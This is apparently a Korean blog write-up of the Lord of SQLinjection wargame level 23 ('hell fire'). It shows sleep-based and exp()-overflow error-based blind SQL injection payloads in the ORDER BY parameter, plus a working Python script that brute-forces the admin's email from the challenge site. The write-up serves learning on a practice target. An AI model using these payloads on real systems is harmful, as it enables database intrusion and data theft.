Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 보안
- 자바 is-a
- 스프링 특징
- 소켓
- XSS
- sql
- 스프링구조
- 세션쿠키
- 마이크로서비스 아키택트
- 세션
- 자바 Array list
- php
- lord of sqlinjection`
- injection
- lord of sqlinjectin
- 자바
- 클라이언트
- 자바 has-a
- 스프링 종류
- 스프링
- Lord of sqlinjection
- APM
- Los
- 자바 문법
- 웹 개발
- 서버
- 해킹
- 웹
- sqlinjection
- 쿠키
Archives
- Today
- Total
LJ
Lord of SQLinjection ( 23번 ) hell fire 본문
23번 hell fire다 .
이번에 코드를 보면 sleep 함수를 안막은게 보여 바로
sleep함수를 사용해 반응을 보았다.
query : ?order=if(id='admin'and(length(email)=28),sleep(10),1)%23
sleep 함수를 통한 인젝션이 가능한 것을 확인했는데
코드를 보면서 수정하고
확인하고 하는 것이 시간이 너무 많이 걸려
다른 방법을 찾아 보기로 했다.
찾아보니 MySQL의 EXP 함수라고
주어진 숫자에 대해 자연 로그의 밑인 e의 거듭제곱 값을 반환하는 수학 함수이다.
* exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환하는데 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다.
order=(select exp(750) where '"+str(ord(a))+"'=ASCII((select substr(email,"+str(i)+",1) where id='admin'
이것을 이용하여 에러를 발생시킨다.
- ord(a)의 ASCII 값을 구하여 이를 문자열로 변환한 값과 비교한다.
- id가 'admin'인 사용자의 email의 i번째 문자의 ASCII 값을 구한다.
- 위 두 값을 비교하여 조건이 참이면 EXP(750) 값을 반환한다.
그래서 참이면 에러를 발생시키기 때문에 이메일값을 확인 가능하다.
조건이 거짓인 경우 아무 행도 반환되지 않는다. 쿼리 결과는 빈 집합이 된다.
import requests
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = dict(PHPSESSID="80le24d6u73n1o79oed8es21d5")
def pw_length():
print("**** find for pw length ****")
for i in range(0,30):
param = f"?order=(select exp(710) where "+str(i)+"=(select length(email) where id='admin'))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if "rubiya805" not in res.text and res.text != "":
print("find pw length : " + str(i))
return i
else:
print("Please... : " + str(i))
def pw_get(length):
print("**** find for pw ****")
jjang = ""
for i in range(1, length + 1):
print(f"{i}번째 비밀번호 확인중")
for j in range(0, 128):
param = f"?order=(select exp(710) where {j}=(select ascii(substr(email,{i},1)) where id='admin'))%23"
new_url = url + param
res = requests.get(new_url, cookies=cookie)
if "rubiya805" not in res.text and res.text != "":
print(f"{i}번째 문자 -> {chr(j)}")
jjang += chr(j)
break
return jjang
length = pw_length()
password = pw_get(length)
print("here's your password : " + password)
결과를 반환된 이메일을 입력하면 문제가 해결된다.
※key point
- exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환하는데 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다.
-
- 헤비쿼리도 있지만 잘 사용하지 않는다. ( 서버부하 때문에 )
'IT 보안 > 보안첼린지' 카테고리의 다른 글
Lord of SQLinjection ( 25번 ) green dragon (1) | 2024.07.17 |
---|---|
Lord of SQLinjection ( 24번 ) evil wizard (1) | 2024.07.14 |
Lord of SQLinjection ( 22번 ) dark eyes (0) | 2024.07.06 |
Lord of SQLinjection ( 21번 ) iron golem (1) | 2024.07.05 |
Lord of SQLinjection ( 20번 ) dragon (0) | 2024.07.04 |
Comments